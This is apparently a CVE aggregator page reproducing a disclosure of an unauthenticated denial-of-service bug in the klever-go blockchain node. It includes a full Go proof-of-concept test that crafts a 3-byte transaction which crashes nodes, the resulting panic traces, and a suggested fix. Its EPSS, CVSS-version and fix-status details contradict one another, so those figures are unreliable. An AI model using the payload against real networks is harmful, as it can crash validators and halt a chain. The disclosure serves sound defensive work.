CVE-2026-52878

HIGHPre-NVD 7.57.5
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.1%, top 81% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
7.5
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 7.5Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt

Summary

Every transaction gossiped on the klever-go P2P network is decoded and validated synchronously inside the libp2p pubsub topic-validator callback. The validator txVersionChecker.CheckTxVersion dereferences tx.RawData.Version with no nil check. A protobuf Transaction whose embedded RawData sub-message is omitted decodes to RawData == nil, so validating it triggers a nil-pointer panic.

The libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and klever's own network/p2p layer install no recover(), so the panic propagates and crashes the entire node process. The attacker payload is a 3-byte protobuf message; no validator key, stake, funds, or on-chain account is required. Aimed at enough of the BLS validator set, repeated delivery halts block production (chain halt).

Affected component

  • Root cause: core/versioning/txVersionChecker.go:22
  • Reached via: core/process/transaction/interceptedTransaction.go:203 (integrity) and :154 (CheckValidity)
  • Production tx-topic path: core/process/interceptors/multiDataInterceptor.go:171 and :223
  • Unprotected caller: network/p2p/libp2p/netMessenger.go pubsubCallback (no recover)
  • Topic wiring: core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go (createOneTxInterceptor)

Details

Synchronous validation path, no recovery at any frame:

libp2p pubsubCallback                              network/p2p/libp2p/netMessenger.go  (no recover)
 -> MultiDataInterceptor.ProcessReceivedMessage    core/process/interceptors/multiDataInterceptor.go:171
   -> interceptedData(...)                          core/process/interceptors/multiDataInterceptor.go:223
     -> InterceptedTransaction.CheckValidity         core/process/transaction/interceptedTransaction.go:154
       -> integrity()                                core/process/transaction/interceptedTransaction.go:203
         -> txVersionChecker.CheckTxVersion(tx)      core/versioning/txVersionChecker.go:22   <-- nil deref

Root cause (core/versioning/txVersionChecker.go):

func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {
	if tx.RawData.Version < tvc.minTxVersion {   // tx.RawData is nil -> panic
		return process.ErrInvalidTransactionVersion
	}
	return nil
}

integrity() calls CheckTxVersion as its very first statement, before any RawData nil-check, and CheckValidity() runs before the whitelist / originator- election gate in the interceptor, so node-role and whitelist restrictions do not protect this path.

Preconditions

  • Attacker runs an ordinary libp2p peer reachable to the target via normal peering /
kad-dht discovery on the transactions gossip topic.
  • Production runs with withMessageSigning = true, which only requires the gossip
message to be signed by the attacker's OWN libp2p peer key (a self-generated identity; NOT a validator key, NOT funded, NOT authorized).
  • No special config or feature flag; the tx interceptor is built unconditionally and
subscribes to transactions on every node.

Impact

  • Deterministic, immediate crash of any targeted node (validator, sentry, or
observer) from a single ~3-byte message.
  • Gossipsub validates before relaying, so the victim does not forward the crashing
message; the attacker delivers it directly to each target (one tiny message/node).
  • With auto-restart (systemd), re-sending sustains the outage.
  • Directed at > 1/3 of the BLS validator set, this prevents consensus and halts the chain.
  • NOTE: the HTTP POST /transaction/send path is NOT crash-exploitable - the REST
server uses gin.Default() (Recovery middleware) and returns HTTP 500. The exploitable vector is the P2P interceptor.

Exploit cost / attack complexity

  • Cost: negligible (one self-signed libp2p peer; 3-byte payload; no gas/capital).
  • Complexity: LOW. Unauthenticated, remote, deterministic.

PoC-Source

Scenario

  • Build the malicious transaction as it appears on the wire: a protobuf Transaction
with RawData omitted (plus a throwaway Signature so the batch entry looks like a real tx). With the production proto marshalizer this encodes to 3 bytes (12 01 78) and round-trips back to RawData == nil.
  • Feed it through the REAL production interceptors. The transactions gossip topic is
served by a MultiDataInterceptor (baseInterceptorsContainerFactory.go, createOneTxInterceptor); the test wraps the tx in a Batch exactly like a bulk-tx gossip message and calls ProcessReceivedMessage, which is precisely what the panic-free libp2p pubsubCallback invokes in production. A second test drives the generic SingleDataInterceptor to show the bug is in the shared validation chain.
  • The data factory is a faithful copy of the production interceptedTxDataFactory.Create:
it builds a genuine *InterceptedTransaction. No validation behavior is stubbed; only leaf crypto/marshal helpers use the repo's own in-tree mocks. The panic occurs on the first line of integrity(), upstream of any mock.

How to run

  • git clone https://github.com/klever-io/klever-go && cd klever-go
(Go toolchain matching go.mod go 1.25.7; verified locally on go1.26.3.)
  • Save the source below as core/process/interceptors/poc_nil_rawdata_dos_test.go.
  • Run either (separately - the first panic aborts the test binary):
  • Production tx-topic path: go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v
  • Generic path: go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v
  • Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).

Full PoC source (poc_nil_rawdata_dos_test.go):

// Target component:    klever-go P2P transaction interceptor (network availability)
//                      core/process/transaction/interceptedTransaction.go
//                      core/versioning/txVersionChecker.go:22
// Vulnerability type:  Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash)
//                      CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input.
//
// Summary:
//   Every gossiped transaction is decoded and validated synchronously inside the
//   libp2p pubsub topic-validator callback
//   (network/p2p/libp2p/netMessenger.go -> pubsubCallback). That callback has NO
//   recover(). The validation chain is:
//
//       (Multi|Single)DataInterceptor.ProcessReceivedMessage
//         -> InterceptedTransaction.CheckValidity
//           -> integrity()
//             -> txVersionChecker.CheckTxVersion(tx)   // tx.RawData.Version  <-- nil deref
//
//   CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf
//   Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil),
//   so an unauthenticated peer can broadcast a few bytes that panic the validation
//   goroutine and crash the entire node process. Repeating it against the validator
//   set halts consensus.
//
// How to run:
//   1) git clone https://github.com/klever-io/klever-go && cd klever-go
//   2) cp  core/process/interceptors/poc_nil_rawdata_dos_test.go
//   3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v
//
// Expected output:
//   The test process aborts with:
//     panic: runtime error: invalid memory address or nil pointer dereference
//     ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22
//     ... InterceptedTransaction.integrity ... -> CheckValidity
//     ... (Multi|Single)DataInterceptor.ProcessReceivedMessage
//   i.e. the crash originates from the interceptor's synchronous message-handling frame,
//   exactly where the panic-free libp2p pubsub callback would call it in production.
//
// Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).

package interceptors_test

import ( "testing"

"github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/core" "github.com/klever-io/klever-go/core/process" "github.com/klever-io/klever-go/core/process/interceptors" txproc "github.com/klever-io/klever-go/core/process/transaction" "github.com/klever-io/klever-go/core/throttler" "github.com/klever-io/klever-go/core/versioning" cryptoMock "github.com/klever-io/klever-go/crypto/mock" "github.com/klever-io/klever-go/data/batch" dataTransaction "github.com/klever-io/klever-go/data/transaction" )

// buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData // field is omitted. This is the entire attacker payload. func buildMaliciousTxBytes(t *testing.T) []byte { m := &mock.ProtoMarshalizerMock{} maliciousTx := &dataTransaction.Transaction{ /* RawData: nil */ } buff, err := m.Marshal(maliciousTx) if err != nil { t.Fatalf("marshal malicious tx: %v", err) } return buff }

// pocTxFactory is a faithful copy of the production interceptedTxDataFactory.Create: // it builds a genuine *InterceptedTransaction from the received bytes. No validation // behavior is stubbed; only leaf crypto/marshal helpers use the repo's standard mocks. type pocTxFactory struct{}

func (pocTxFactory) Create(buff []byte) (process.InterceptedData, error) { m := &mock.ProtoMarshalizerMock{} return txproc.NewInterceptedTransaction(&txproc.InterceptedTransactionArgs{ TxBuff: buff, ProtoMarshalizer: m, SignMarshalizer: m, Hasher: mock.HasherMock{}, KeyGen: &cryptoMock.SingleSignKeyGenMock{}, Signer: &cryptoMock.SignerMock{SigSizeStub: func() int { return 64 }}, PubkeyConv: &mock.PubkeyConverterStub{LenCalled: func() int { return 32 }}, WhiteListerVerifiedTxs: &mock.WhiteListHandlerStub{}, ChainID: []byte("chainID"), TxSignHasher: mock.HasherMock{}, FeeHandler: &mock.FeeHandlerStub{ CheckValidityTxValuesCalled: func(tx process.TransactionWithFeeHandler) (*dataTransaction.CostResponse, error) { return &dataTransaction.CostResponse{}, nil }, }, TxVersionChecker: versioning.NewTxVersionChecker(0), ForkController: &mock.ForkControllerStub{}, }) } func (pocTxFactory) IsInterfaceNil() bool { return false }

// TestPoC_NilRawData_MultiDataInterceptor exercises the EXACT production path for the // "transactions" gossip topic, which is served by a MultiDataInterceptor (see // core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go, // func createOneTxInterceptor). func TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) { protoMarsh := &mock.ProtoMarshalizerMock{}

// Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message. b := &batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}} batchBytes, err := protoMarsh.Marshal(b) if err != nil { t.Fatalf("marshal batch: %v", err) }

th, _ := throttler.NewNumGoRoutinesThrottler(5) mdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{ Topic: "transactions", Marshalizer: protoMarsh, DataFactory: pocTxFactory{}, Processor: &mock.InterceptorProcessorStub{}, Throttler: th, AntifloodHandler: &mock.P2PAntifloodHandlerStub{}, WhiteListRequest: &mock.WhiteListHandlerStub{}, CurrentPeerID: core.PeerID("self"), }) if err != nil { t.Fatalf("build interceptor: %v", err) }

msg := &mock.P2PMessageMock{ DataField: batchBytes, TopicField: "transactions", PeerField: core.PeerID("attacker"), }

// In production this is called by the libp2p pubsub callback, which has no recover(). // The nil-pointer panic therefore propagates and crashes the node process. _ = mdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))

// Only reached if the bug is fixed (CheckTxVersion guards a nil RawData). t.Log("no panic: node survived -> NOT vulnerable") }

// TestPoC_NilRawData_SingleDataInterceptor shows the same crash via the generic // single-item interceptor path, demonstrating the bug is in the shared validation // chain, not in one interceptor variant. func TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) { th, _ := throttler.NewNumGoRoutinesThrottler(5) sdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{ Topic: "transactions", DataFactory: pocTxFactory{}, Processor: &mock.InterceptorProcessorStub{}, Throttler: th, AntifloodHandler: &mock.P2PAntifloodHandlerStub{}, WhiteListRequest: &mock.WhiteListHandlerStub{}, CurrentPeerID: core.PeerID("self"), }) if err != nil { t.Fatalf("build interceptor: %v", err) }

msg := &mock.P2PMessageMock{ DataField: buildMaliciousTxBytes(t), TopicField: "transactions", PeerField: core.PeerID("attacker"), }

_ = sdi.ProcessReceivedMessage(msg, core.PeerID("attacker")) t.Log("no panic: node survived -> NOT vulnerable") }

PoC-Results

Result A - production MultiDataInterceptor (the transactions gossip topic):

$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v
=== RUN   TestPoC_NilRawData_MultiDataInterceptor
--- FAIL: TestPoC_NilRawData_MultiDataInterceptor (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]
[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]

goroutine 8 [running]: panic({0x888c00?, 0xd54d60?}) /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?) .../core/versioning/txVersionChecker.go:22 +0x4 github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...) .../core/process/transaction/interceptedTransaction.go:203 +0x31 github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...) .../core/process/transaction/interceptedTransaction.go:154 +0x13 github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).interceptedData(...) .../core/process/interceptors/multiDataInterceptor.go:223 +0x9c github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).ProcessReceivedMessage(...) .../core/process/interceptors/multiDataInterceptor.go:171 +0x7ca github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_MultiDataInterceptor(...) .../core/process/interceptors/poc_nil_rawdata_dos_test.go:135 +0x3ef FAIL github.com/klever-io/klever-go/core/process/interceptors 0.005s FAIL

Result B - generic SingleDataInterceptor (same root cause via the shared chain):

$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v
=== RUN   TestPoC_NilRawData_SingleDataInterceptor
--- FAIL: TestPoC_NilRawData_SingleDataInterceptor (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]
[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]

goroutine 8 [running]: panic({0x888c00?, 0xd54d60?}) /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?) .../core/versioning/txVersionChecker.go:22 +0x4 github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...) .../core/process/transaction/interceptedTransaction.go:203 +0x31 github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...) .../core/process/transaction/interceptedTransaction.go:154 +0x13 github.com/klever-io/klever-go/core/process/interceptors.(*SingleDataInterceptor).ProcessReceivedMessage(...) .../core/process/interceptors/singleDataInterceptor.go:118 +0x12e github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_SingleDataInterceptor(...) .../core/process/interceptors/poc_nil_rawdata_dos_test.go:165 +0x2b1 FAIL github.com/klever-io/klever-go/core/process/interceptors 0.005s FAIL

Interpretation

  • Both runs abort the process with SIGSEGV originating at txVersionChecker.go:22
(tx.RawData.Version), reached through the real interceptor's synchronous ProcessReceivedMessage frame - the exact frame the recover-free libp2p pubsub callback executes in production. A recover()-less crash here = full node process exit.
  • Round-trip check (production tools/marshal.ProtoMarshalizer): the malicious tx is
3 bytes 12 01 78 and decodes to RawData == nil, confirming the trigger is a valid, attacker-craftable wire message (not a malformed blob rejected earlier).

Suggested fix

Primary (root cause) - make CheckTxVersion nil-safe / reject RawData == nil early:
func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {
	if tx == nil || tx.RawData == nil {
		return process.ErrInvalidTransactionVersion
	}
	if tx.RawData.Version < tvc.minTxVersion {
		return process.ErrInvalidTransactionVersion
	}
	return nil
}
Returning a sentinel error here is already handled by the interceptors (they blacklist peers that send wrong-version transactions).

Defense-in-depth:

  • Wrap the synchronous body of pubsubCallback (and/or ProcessReceivedMessage) in a
recover() so a single malformed message can never abort the process.
  • Audit the other direct inTx.tx.RawData.* dereferences in
interceptedTransaction.go (chainID/sender/contract/nonce/fee getters) for the same nil-input class.

Duplicate check (vs published advisories)

Checked against the 3 published advisories (GHSA-jc6w-wmfc-fh33 / CVE-2026-46403, GHSA-87m7-qffr-542v / CVE-2026-44697, GHSA-74m6-4hjp-7226). This is NOT a duplicate: different root cause (nil RawData deref vs gzip OOM / throttler accounting / VM read-only isolation); the advisory texts never mention RawData, CheckTxVersion, txVersionChecker, or any nil/NULL deref. Those three advisories' fixes are already present in the reviewed tree, yet txVersionChecker.go:22 remains unpatched. It is adjacent in impact class (P2P interceptor DoS) to 87m7 / 74m6, referenced here for context.

CVSS v3
7.5
EG Score
7.5(low)
EPSS
18.5%
KEV
Not listed

Published

June 5, 2026

Last Modified

June 5, 2026

Vendor Advisories for CVE-2026-52878(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Go(1)
PackageVulnerable rangeFixed inDependents
github.com/klever-io/klever-go1.7.18

Data Freshness Timeline

(refreshed 10× in last 7d / 49× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-05 18:33 UTCEG score recompute
  2. 2026-07-04 20:35 UTCEG score recompute
  3. 2026-07-03 22:11 UTCEG score recompute
  4. 2026-07-03 09:45 UTCEG score recompute
  5. 2026-07-02 20:26 UTCEG score recompute
  6. 2026-07-02 07:58 UTCEG score recompute
  7. 2026-07-01 19:33 UTCEG score recompute
  8. 2026-07-01 07:10 UTCEG score recompute
  9. 2026-06-30 18:09 UTCEG score recompute
  10. 2026-06-30 03:58 UTCEG score recompute
  11. 2026-06-29 15:35 UTCEG score recompute
  12. 2026-06-29 03:12 UTCEG score recompute
  13. 2026-06-28 14:41 UTCEG score recompute
  14. 2026-06-28 02:15 UTCEG score recompute
  15. 2026-06-27 13:50 UTCEG score recompute
  16. 2026-06-27 01:26 UTCEG score recompute
  17. 2026-06-26 13:02 UTCEG score recompute
  18. 2026-06-25 22:20 UTCEG score recompute
  19. 2026-06-25 09:57 UTCEG score recompute
  20. 2026-06-24 21:33 UTCEG score recompute
  21. 2026-06-24 08:26 UTCEG score recompute
  22. 2026-06-23 17:31 UTCEG score recompute
  23. 2026-06-23 04:28 UTCEG score recompute
  24. 2026-06-22 14:33 UTCEG score recompute
  25. 2026-06-21 03:45 UTCEG score recompute
Show 24 more
  1. 2026-06-20 08:33 UTCEG score recompute
  2. 2026-06-19 15:07 UTCEG score recompute
  3. 2026-06-19 02:29 UTCEG score recompute
  4. 2026-06-18 14:05 UTCEG score recompute
  5. 2026-06-18 01:33 UTCEG score recompute
  6. 2026-06-17 13:10 UTCEG score recompute
  7. 2026-06-17 00:46 UTCEG score recompute
  8. 2026-06-16 12:22 UTCEG score recompute
  9. 2026-06-15 23:59 UTCEG score recompute
  10. 2026-06-15 11:36 UTCEG score recompute
  11. 2026-06-14 23:18 UTCEPSS rescore
  12. 2026-06-14 23:11 UTCEG score recompute
  13. 2026-06-14 10:48 UTCEG score recompute
  14. 2026-06-13 23:00 UTCEPSS rescore
  15. 2026-06-13 22:26 UTCEG score recompute
  16. 2026-06-13 10:03 UTCEG score recompute
  17. 2026-06-12 23:12 UTCEPSS rescore
  18. 2026-06-12 21:39 UTCEG score recompute
  19. 2026-06-12 09:16 UTCEG score recompute
  20. 2026-06-11 20:53 UTCEG score recompute
  21. 2026-06-11 08:30 UTCEG score recompute
  22. 2026-06-10 20:08 UTCEG score recompute
  23. 2026-06-10 07:45 UTCEG score recompute
  24. 2026-06-09 19:19 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-52878?
CVE-2026-52878 is a high vulnerability published on June 5, 2026. Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt Summary Every transaction gossiped on the klever-go P2P network is decoded and validated synchronously inside the libp2p pubsub…
When was CVE-2026-52878 disclosed?
CVE-2026-52878 was first published in the National Vulnerability Database on June 5, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-52878 actively exploited?
CVE-2026-52878 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 18.5% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-52878?
CVE-2026-52878 has a CVSS v4.0 base score of 7.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-52878?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-52878, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-52878

Explore →

Is Your Infrastructure Affected by CVE-2026-52878?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.